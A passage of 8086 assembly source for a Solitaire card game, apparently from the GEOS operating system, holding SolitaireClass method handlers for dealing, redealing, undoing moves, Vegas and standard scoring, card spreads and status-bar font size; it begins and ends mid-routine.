; redeal requests, we only want to handle one of them,
; so we check to see if this isn't the first...
;
test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED
jnz done
BitSet ds:[di].GI_gameAttrs, GA_REDEAL_REQUESTED
;
; To redeal, we need to flush out the fade array, then
; send ourselves a method to start a new game.
;
notRedealingYet::
mov ax, MSG_GAME_ZERO_FADE_ARRAY
call ObjCallInstanceNoLock
mov bx, ds:[LMBH_handle]
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
mov ax, MSG_SOLITAIRE_REDEAL
call ObjMessage
done:
ret
SolitaireNewGame endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireRedeal
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_REDEAL handler for SolitaireClass
Starts a new game of solitaire.
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireRedeal method SolitaireClass, MSG_SOLITAIRE_REDEAL
;
; Give the user the winner's card back design if he
; won the last game
;
RESET ds:[di].GI_gameAttrs, GA_USE_WIN_BACK
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jz disableTriggers
SET ds:[di].GI_gameAttrs, GA_USE_WIN_BACK
disableTriggers:
RESET ds:[di].GI_gameAttrs, GA_JUST_WON_A_GAME
mov dl, VUM_NOW
push si
CallObjectNS RedealTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS
CallObjectNS UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS
CallObjectNS MyHand, MSG_DECK_GET_N_CARDS, MF_CALL
mov dl, VUM_DELAYED_VIA_APP_QUEUE
CallObjectNS AutoFinishTrigger, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS
CallObjectNS NewGameTrigger, MSG_GEN_SET_USABLE, MF_FIXUP_DS
cmp cx, 52
je handHasAllCards
pop si
mov ax, MSG_GAME_COLLECT_ALL_CARDS
call ObjCallInstanceNoLock
push si
handHasAllCards:
CallObjectNS MyHand, MSG_HAND_SHUFFLE, MF_FORCE_QUEUE
CallObjectNS MyPlayingTable, MSG_SOLITAIRE_DEAL, MF_FORCE_QUEUE
pop si
PointDi2 Game_offset
mov ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET
cmp ds:[di].KI_scoringType, ST_VEGAS
jne initScore
clr cx
mov dx, INITIAL_VEGAS_SCORE
mov ax, MSG_GAME_UPDATE_SCORE
call ObjCallInstanceNoLock
jmp initTime
initScore:
;
; Initialize the score
;
mov ax, MSG_SOLITAIRE_INITIALIZE_SCORE
call ObjCallInstanceNoLock
;
; Initialize the time
;
initTime:
mov ax, MSG_SOLITAIRE_INITIALIZE_TIME
call ObjCallInstanceNoLock
ret
SolitaireRedeal endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireGetDrawNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_GET_DRAW_NUMBER handler for SolitaireClass
CALLED BY:
PASS: nothing
CHANGES: nothing
RETURN: cl = number of cards to be drawn from the hand each time
DESTROYED: cx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireGetDrawNumber method SolitaireClass, MSG_SOLITAIRE_GET_DRAW_NUMBER
clr ch
mov cl, ds:[di].KI_drawNumber
ret
SolitaireGetDrawNumber endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetDrawNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SET_DRAW_NUMBER handler for SolitaireClass
Sets the number of cards to draw from the hand each time
CALLED BY:
PASS: cl = # to draw
CHANGES: KI_drawNumber <- cl
RETURN:
DESTROYED: cl, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetDrawNumber method SolitaireClass, MSG_SOLITAIRE_SET_DRAW_NUMBER
CallObject DrawList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL
setNumber::
mov di, ds:[si]
add di, ds:[di].Game_offset
mov ds:[di].KI_drawNumber, al
cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED
jg done
mov bp, 10
mul bp
sub ax, 40
mov_trash bp, ax
mov cx, SS_TALON_PUSH
mov dx, SS_TALON_POP
CallObjectNS MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS
done:
ret
SolitaireSetDrawNumber endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireUnmark
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_UNMARK_ACCEPTORS handler for SolitaireClass
Resets the DA_WANTS_DRAG bit in decks where that
bit got set in MSG_GAME_MARK_ACCEPTORS and shouldn't have
been. This happens when the drop card is an ace and
the top card of the deck is a 2 of opposite color.
CALLED BY:
PASS: nothing
CHANGES: may unmark certain decks as acceptors.
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 10/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;
; The constants (FIRST,LAST)_TABLEAU_ELEMENT represent the child
; numbers of the first and last tableau elements
;
FIRST_TABLEAU_ELEMENT = 6
LAST_TABLEAU_ELEMENT = 12
SolitaireUnmarkAcceptors method SolitaireClass, \
MSG_GAME_UNMARK_ACCEPTORS
;
; Get the drop card attributes from the dropping deck
;
CallObjectCXDX MSG_DECK_GET_DROP_CARD_ATTRIBUTES, MF_CALL
;
; If the user isn't dropping an ace, then there is no
; need to unmark anything
;
CmpRank bp, CR_ACE
jne endSolitaireUnmark
mov dx, FIRST_TABLEAU_ELEMENT
startLoop:
cmp dx, LAST_TABLEAU_ELEMENT
jg endLoop
push dx
clr cx
mov ax, MSG_VIS_FIND_CHILD
call ObjCallInstanceNoLock ;^lcx:dx = TE
.warn -private
mov di, dx
mov di, ds:[di]
add di, ds:[di].Deck_offset
RESET ds:[di].DI_deckAttrs, DA_WANTS_DRAG
.warn @private
pop dx
inc dx
jmp startLoop
endLoop:
endSolitaireUnmark:
ret
SolitaireUnmarkAcceptors endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TimeToTextObject
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Creates a time string and sets the Text Object to display
this string.
CALLED BY: SolitaireUpdateTime
PASS: ES = DGroup
DS = Relocatable segment
DI:SI = Block:chunk of TextObject
CX = # of seconds
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, BP
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jon 8/6/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TimeToTextObject proc near
uses di, es
.enter
mov bx, di ; BX:SI is the TextEditObject
segmov es, ss, dx ; SS to ES and DX!
sub sp, EVEN_DATE_TIME_BUFFER_SIZE ; allocate room on the stack
mov bp, sp ; ES:BP => buffer to fill
mov_tr ax, cx
call WriteTime
clr cx ; string is NULL terminated
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage ; send the method
add sp, EVEN_DATE_TIME_BUFFER_SIZE ; restore the stack
.leave
ret
TimeToTextObject endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireUndo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_UNDO handler for SolitaireClass
Undoes the last transfer of cards performed.
CALLED BY:
PASS: nothing
CHANGES: undoes last 'move' by returning any cards that
exchanged ownership
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
calls deck in GI_lastDonor to retrieve the last donation,
then resets the score to GI_lastScore
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 10/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireUndo method SolitaireClass, MSG_SOLITAIRE_UNDO
;
; If the game is redealing, or was just won, forget about
; undoing anything
;
test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED
jnz endSolitaireUndo
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jnz endSolitaireUndo
PointDi2 Game_offset
clr bx
xchg bx, ds:[di].GI_lastDonor.handle
tst bx
jz endSolitaireUndo
getCardsBack::
push ds:[di].GI_lastScore
push si
;
; Since we're undoing the transfer, we want to clear out the
; lastDonor field so it doesn't happen again.
;
clr si
xchg si, ds:[di].GI_lastDonor.chunk
mov ax, MSG_DECK_RETRIEVE_CARDS
mov di, mask MF_FIXUP_DS
call ObjMessage
cmp si, offset MyTalon
jne updateScore
;
; The talon is getting some cards back, so disable the
; auto finish trigger if need be.
;
mov bx, handle AutoFinishTrigger
mov si, offset AutoFinishTrigger
mov ax, MSG_GEN_SET_NOT_USABLE
mov dl, VUM_DELAYED_VIA_APP_QUEUE
mov di, mask MF_FIXUP_DS
call ObjMessage
mov bx, handle NewGameTrigger
mov si, offset NewGameTrigger
mov ax, MSG_GEN_SET_USABLE
mov di, mask MF_FIXUP_DS
call ObjMessage
updateScore:
pop si
;
; Restore the score to what it was before the transfer
;
pop cx
clr dx
mov bx, ds:[LMBH_handle]
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
mov ax, MSG_GAME_UPDATE_SCORE
call ObjMessage
mov dl, VUM_NOW
CallObjectNS UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS
endSolitaireUndo:
ret
SolitaireUndo endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireUpdateTimesThru
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_UPDATE_TIMES_THRU handler for SolitaireClass
Updates the number of times the player has gone thru
the hand.
CALLED BY: TalonFlush, HandReturnCards
PASS: cx = incremental amount (probably +1 or -1)
CHANGES:
RETURN: cx = times thru - draw number
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 9/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireUpdateTimesThru method SolitaireClass, MSG_SOLITAIRE_UPDATE_TIMES_THRU
add cx, ds:[di].KI_nTimesThru
mov ds:[di].KI_nTimesThru, cx
mov dl, ds:[di].KI_drawNumber
clr dh
sub cx, dx
ret
SolitaireUpdateTimesThru endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireQueryFlushOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_QUERY_FLUSH_OK handler for SolitaireClass
Checks to make sure that the talon hasn't been
flushed more than the number of cards that are flipped
each time (under vegas scoring only).
CALLED BY:
PASS: nothing
CHANGES: nothing
RETURN: carry set if ok to flush
carry clear if not ok to flush
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 10/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireQueryFlushOK method SolitaireClass, MSG_SOLITAIRE_QUERY_FLUSH_OK
;
; If the game is *not* vegas scoring, then there is never
; a time we would want to restrict flushing the talon, so
; we just return affirmatively
;
cmp ds:[di].KI_scoringType, ST_VEGAS ;vegas scoring?
jne isOkay ;if not, don't worry
mov cx, ds:[di].KI_nTimesThru ;cx <- # times thru
inc cx
cmp cl, ds:[di].KI_drawNumber ;compare the # of
;flushes already to
;the number of cards
;turned each time
jl isOkay ;if less, ok
;
; Tell the user that it is NOT ok to flush the talon
;
clc
jmp endSolitaireQueryFlushOK
isOkay:
stc
endSolitaireQueryFlushOK:
ret
SolitaireQueryFlushOK endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireCheckMinimumScore
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_CHECK_MINIMUM_SCORE handler for SolitaireClass
Checks to make sure that a score is not less than the
minimum score allowed by the game.
CALLED BY:
PASS: cx = score to check
CHANGES:
RETURN: cx = max(passed score, minimum allowable score)
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 10/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireCheckMinimumScore method SolitaireClass, MSG_GAME_CHECK_MINIMUM_SCORE
cmp ds:[di].KI_scoringType, ST_VEGAS
je checkVegas
cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED
jg returnScore
cmp cx, SS_MINIMUM_SCORE ;have we gone below minimum
jge returnScore ;score? if so, rectify
mov cx, SS_MINIMUM_SCORE ;the situation by setting
;score to the minimum
returnScore:
ret
checkVegas:
cmp cx, VS_MINIMUM_SCORE
jge returnScore
mov cx, VS_MINIMUM_SCORE
jmp returnScore
SolitaireCheckMinimumScore endm
SolitaireUpdateScore method SolitaireClass, MSG_GAME_UPDATE_SCORE
mov di, offset SolitaireClass
call ObjCallSuperNoLock
mov di, ds:[si]
add di, ds:[di].Game_offset
cmp ds:[di].KI_scoringType, ST_VEGAS
je vegas
done:
ret
vegas:
mov ax, ds:[di].GI_score
mov ds:[di].KI_cash, ax
jmp done
SolitaireUpdateScore endm
if 0
SolitaireCashOut method SolitaireClass, MSG_SOLITAIRE_CASH_OUT
zero ax, dx
mov cx, ds:[di].KI_cash
tst cx
jle updateScore
mov bl, ds:[di].KI_drawNumber
mov bh, ds:[di].GI_userMode
call HiScoreAddScore
updateScore:
pushf
mov cx, dx ;cx, dx = 0
mov ax, MSG_GAME_UPDATE_SCORE
call ObjCallInstanceNoLock
popf
;
; If score made it into high scores, no need to redeal
; (done through the summons)
;
jc done
mov ax, MSG_SOLITAIRE_REDEAL
call ObjCallInstanceNoLock
done:
ret
SolitaireCashOut endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireDeal
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_DEAL handler for SolitaireClass
Deals out cards for a new solitaire game
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp, di
PSEUDO CODE/STRATEGY:
for (n = 1; n <= 7; n++) {
deal an up card to tableauElement #n
for (m = n + 1; m<=7; m++) {
deal a down card to tableauElement #m
}
}
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 7/90 initial version
jon 9/90 took this function out of hand.asm
and put it into solitaire.asm
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireDeal method SolitaireClass, MSG_SOLITAIRE_DEAL
;
; Get the composite locations of the first and last tableau
; elements
;
mov bp, LAST_TABLEAU_ELEMENT
push bp
mov bp, FIRST_TABLEAU_ELEMENT
push bp
startLoop1:
CallObject MyHand, MSG_DECK_POP_CARD, MF_CALL
jnc gotKid
jmp endLoop1 ;if no child to pop, end
gotKid:
CallObjectCXDX MSG_CARD_TURN_FACE_UP, MF_FIXUP_DS
pop bp ;bp <- # of tE to receive face up card
push bp
push cx,dx ;save card OD
mov dx, bp ;dx <- te #
clr cx
;
; Get the OD of the tableau element to receive the next card
;
mov ax, MSG_VIS_FIND_CHILD
call ObjCallInstanceNoLock
;
; Give the card to the tableau element
;
PLAY_SOUND SS_DEALING ;play the card dealt sound
mov bx, cx ;bx <- handle of recipient tableauElement
mov bp, dx ;bp <- offset of recipient tableauElement
pop cx, dx ;restore card OD
push si ;save hand offset
mov si, bp ;si <- offset of recipient tableauElement
mov ax, MSG_DECK_GET_DEALT ;deal card
mov di, mask MF_FIXUP_DS
call ObjMessage
pop si ;restore hand offset
pop cx ;number of guy who got the up card
pop dx ;number of last TE
cmp cx, dx ;done yet?
jge endLoop1
push cx ;number of guy who got the up card
push dx ;number of last TE
push cx ;index to use for number of guy to get down card
startLoop2:
pop cx ;# of te that got last card
pop dx ;# of te7
inc cx
cmp cx,dx ;done yet?
jg endLoop2
push dx ;push # of te7
push cx ;push # of te to receive next card
CallObject MyHand, MSG_DECK_POP_CARD, MF_CALL
jc endLoop2 ;if no child to pop, end
pop bp ;bp <- # of te to receive next card
push bp
push cx,dx ;save card OD
mov dx, bp
clr cx
mov ax, MSG_VIS_FIND_CHILD
call ObjCallInstanceNoLock
mov bx, cx ;bx <- handle of te to receive card
mov bp, dx ;bp <- offset of te to receive card
pop cx, dx ;restore OD of card
push si ;save hand offset
mov si, bp ;si <- offset of recipient te
mov ax, MSG_DECK_GET_DEALT ;deal card
mov di, mask MF_FIXUP_DS
call ObjMessage
pop si
jmp startLoop2
endLoop2:
;
; stack should contain only number of TE that got last up card
;
pop cx ; number of TE that got last card
push dx ; number of TE7
inc cx ;point at next te
push cx ;push # of te to receive next card
jmp startLoop1
endLoop1:
PointDi2 Game_offset
RESET ds:[di].GI_gameAttrs, GA_REDEAL_REQUESTED
clr ds:[di].KI_nTimesThru
mov ds:[di].KI_nFaceDownCardsInTableau, 21
mov dl, VUM_NOW
CallObjectNS RedealTrigger, MSG_GEN_SET_ENABLED, MF_FIXUP_DS
ret
SolitaireDeal endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireHandSelected
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_HAND_SELECTED handler for SolitaireClass
Instructs the hand object to either turn over more cards
into the talon, or if the hand is out of cards, to
get them back from the talon.
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED: ax, bx, di, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireHandSelected method SolitaireClass, MSG_GAME_HAND_SELECTED
mov bx, handle MyHand
mov si, offset MyHand
mov ax, MSG_TURN_OR_FLUSH
mov di, mask MF_FIXUP_DS
call ObjMessage
ret
SolitaireHandSelected endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireShutdown
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_SHUTDOWN handler for SolitaireClass
Makes sure that the timer is turned off before
exiting.
CALLED BY:
PASS: nothing
CHANGES: if KI_timerHandle is non-zero, call TimerStop on it
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireShutdown method SolitaireClass, MSG_GAME_SHUTDOWN
tst ds:[di].KI_timerHandle
jz callSuper
clr bx
xchg bx, ds:[di].KI_timerHandle
clr ax ; 0 => continual
call TimerStop
callSuper:
mov di, segment SolitaireClass
mov es, di
mov di, offset SolitaireClass
mov ax, MSG_GAME_SHUTDOWN
call ObjCallSuperNoLock
ret
SolitaireShutdown endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetUpSpreads
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_SET_UP_SPREADS handler for SolitaireClass
Sets the visual spreads for Solitaire's decks for
cards placed on face up cards.
CALLED BY:
PASS: dx = vertical displacement
(horizontal displacement for Solitaire = 0)
CHANGES:
RETURN: nothing
DESTROYED: bp, bx
PSEUDO CODE/STRATEGY:
call SetSpreads after clearing the horizontal component
KNOWN BUGS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetUpSpreads method dynamic SolitaireClass, MSG_GAME_SET_UP_SPREADS
.enter
mov ds:[di].GI_upSpreadX, cx
mov ds:[di].GI_upSpreadY, dx
push cx ;save horiz spread
clr cx ;no horiz up spread
mov ax, MSG_DECK_SET_UP_SPREADS
mov bx, handle TE1
mov si, offset TE1
clr di
call ObjMessage
mov si, offset TE2
clr di
call ObjMessage
mov si, offset TE3
clr di
call ObjMessage
mov si, offset TE4
clr di
call ObjMessage
mov si, offset TE5
clr di
call ObjMessage
mov si, offset TE6
clr di
call ObjMessage
mov si, offset TE7
clr di
call ObjMessage
pop cx ;cx <- horiz spread
clr dx
mov si, offset MyTalon
clr di
call ObjMessage
.leave
ret
SolitaireSetUpSpreads endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetDownSpreads
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_SET_DOWN_SPREADS handler for SolitaireClass
Sets the visual spreads for Solitaire's decks for
cards placed on face down cards.
CALLED BY:
PASS: dx = vertical displacement
(horizontal displacement for Solitaire = 0)
CHANGES:
RETURN: nothing
DESTROYED: bp, bx
PSEUDO CODE/STRATEGY:
call SetSpreads after clearing the horizontal component
KNOWN BUGS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetDownSpreads method SolitaireClass, MSG_GAME_SET_DOWN_SPREADS
.enter
mov di, offset SolitaireClass
call ObjCallSuperNoLock
clr cx
mov ax, MSG_DECK_SET_DOWN_SPREADS
mov bx, handle TE1
mov si, offset TE1
clr di
call ObjMessage
mov si, offset TE2
clr di
call ObjMessage
mov si, offset TE3
clr di
call ObjMessage
mov si, offset TE4
clr di
call ObjMessage
mov si, offset TE5
clr di
call ObjMessage
mov si, offset TE6
clr di
call ObjMessage
mov si, offset TE7
clr di
call ObjMessage
.leave
ret
SolitaireSetDownSpreads endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetFontSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SET_FONT_SIZE handler for SolitaireClass
Resizes the text in the status bar to the passed point size.
CALLED BY:
PASS: cx = point size
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetFontSize method SolitaireClass, MSG_GAME_SET_FONT_SIZE
mov dx, size VisTextSetPointSizeParams
sub sp, dx
mov bp, sp ; structure => SS:BP
clrdw ss:[bp].VTSPSP_range.VTR_start
movdw ss:[bp].VTSPSP_range.VTR_end, TEXT_ADDRESS_PAST_END
mov ss:[bp].VTSPSP_pointSize.WWF_frac, 0
mov ss:[bp].VTSPSP_pointSize.WWF_int, cx
CallObjectNS ScoreLabel, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK
CallObjectNS ScoreValue, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK
CallObjectNS TimeLabel, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK
CallObjectNS TimeValue, MSG_VIS_TEXT_SET_POINT_SIZE, MF_STACK
add sp, size VisTextSetPointSizeParams
ret
SolitaireSetFontSize endm
if 0 ;I hate this damn effect
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireWeHaveAWinner
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_WE_HAVE_A_WINNER handler for SolitaireClass
Creates the lovely card-fan-effect when the game has been won.
CALLED BY:
PASS: nothing
CHANGES: stops the game timer (if any)
RETURN: nothing
DESTROYED: all
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;
; The following two constants define the amount of "spread"
; in the card fan. EFFECTS_ANGLE is the initial angle at which
; the fan begins drawing, and EFFECTS_DELTA_ANGLE is the amount
; the angle is increased for each new card being drawn
;
EFFECTS_ANGLE = 28
EFFECTS_DELTA_ANGLE = 1
FIRST_FOUNDATION = 2
LAST_FOUNDATION = 5
SolitaireWeHaveAWinner method SolitaireClass, MSG_SOLITAIRE_WE_HAVE_A_WINNER
;
; Stop the game timer if need be
;
cmp ds:[di].KI_timeStatus, TIME_EXPIRED
je createGState
mov ds:[di].KI_timeStatus, TIME_STOPPED
clr bx
xchg bx, ds:[di].KI_timerHandle
tst bx
jz checkHiScore
clr ax ; 0 => continual
call TimerStop
checkHiScore:
mov bl, ds:[di].KI_drawNumber
mov bh, ds:[di].GI_userMode
cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED
jg checkCountDown
